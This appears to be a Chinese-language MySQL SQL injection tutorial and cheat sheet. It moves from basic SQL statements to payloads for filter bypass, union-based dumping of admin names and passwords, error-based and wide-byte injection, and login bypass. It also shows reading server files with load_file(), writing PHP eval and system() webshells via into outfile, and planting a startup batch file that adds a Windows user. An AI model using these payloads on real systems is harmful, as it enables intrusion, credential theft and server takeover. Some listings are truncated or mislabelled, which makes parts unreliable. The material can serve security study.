SQL注入- Mysql
Mysql 介绍
MySQL是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策(本词条“授权政策”),它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。
常见的sql语句
- 说明:创建数据库
1
CREATE DATABASE database-name
- 说明:删除数据库
1
drop database dbname
- 说明:创建新表
1
CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));
- 查看数据库插入数据
1
show databases;
查询数据1
insert into admin(username,password) value ('admin','admin');
更新修改数据1
select * from admin;
删除数据1
update admin set password='adsdf' where id = 1;
1
delete from admin where id =1 ;
Mysql 函数
- system_user() 系统用户名
- user() 用户名
- current_user 当前用户名
- session_user()连接数据库的用户名
- database() 数据库名
- version() MYSQL数据库版本
- load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
- @@datadir 读取数据库路径
- @@basedir MYSQL 安装路径
- @@version_compile_os 操作系统
相关函数
1 | mid()---从文本字段中提取字符 |
Mysql注释
注释符:
1 | #、--、/**/ |
内联注释:
1 | /*!union*/和/*!50001union*/ |
语句中的代替符号:
1 | 用+、%0a/%0D/和/*ADJFKLASDF--234U23SJFD AND 1=1*/代替空格 |
用%
或者/**/
、%00
、%01
分割sql语句编码绕过 url编码
数据库结构对比
access数据库
1 | A网站:adata.mdb |
- 判断注入漏洞
1
And 1=1 and1=2
- 判断多少列,数字报错减少,正常增加
1
Order by 20
- union联合查询,报字符列在第几列
1
union select 1,2,3,4,5
- 在字符列上报相关信息,数据库版本信息,用户,数据库名称(十六进制转换)。
1
union select 1,version(),3,4,5
- 指定数据库,爆数据库表名
1
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema. tables where table_schema=0x6D7574696130313231
- 指定表名爆列名
1
2union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema. columns where table_name=0x61646D696E
id,name,adminpass,right_li,right_li_b,checks,level_id - 查询数据信息
1
union select 1,group_concat(name,0x5c,adminpass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from admin
常见的防注入代码
1 | function check_sql($x){ |
绕过防注入代码
判断是否存在注入输入'
显错注入有很多函数
1 | floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、 |
updatexml的显错利用
1 | 'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ #查看当前数据库用户 |
后台绕过
1 | select * from user where username='' and password='' |
Mysql长字节截断攻击
1 | 条件: |
Mysql宽字节注入
本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当打开时,所有的 ‘(单引号),”(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。
这和 addslashes() 作用完全相同。
一共有三个魔术引号指令:
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。
不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,
包括从数据库和文本文件,所返回的数据都会被反斜线转义。
该选项可在运行的时改变,在 PHP 中的默认值为 off。
参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。
此选项会完全覆盖 magic_quotes_gpc。
如果同时打开两个选项的话,单引号将会被转义成 ‘’。而双引号、反斜线 和 NULL 字符将不会进行转义。
如何取得其值参见 ini_get()。
使用宽字节注入绕过魔术引号
1 | %df%27 |
Mysql 读写文件操作
load_file()函数
该函数是用来读取源文件的函数
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站绝对路径
例如:
d:/www/xx/index.php
/usr/src/apache/htdoc/index.php
注意:
1.路径符号 “" 错误“\”正确 “/” 正确
2.转换十六进制数,就不要‘’
获取根目录
1.报错显示
2.谷歌黑客
site:目标网站 warning
3.遗留文件 phpinfo info test php
4.漏洞爆路径
5.读取配置文件
读取网站文件内容
1 | and 1=2 union select 1,load_file('C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 |
1 | and 1=2 union select 1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C636F6E6669672E706870),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 |
1 | c:/windows/system32/inetsrv/metabase.xml |
写入函数 into outfile
1 | and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cracer.txt' |
其他利用
第一种方法:需要使用wamp环境搭建需要系统权限才能执行
1 | and 1=2 union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat' |
第二种方法:
1 | and 1=2 union select 1,"<pre><body><? @system($_GET['cc']); ?></body></pre>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cr.php' |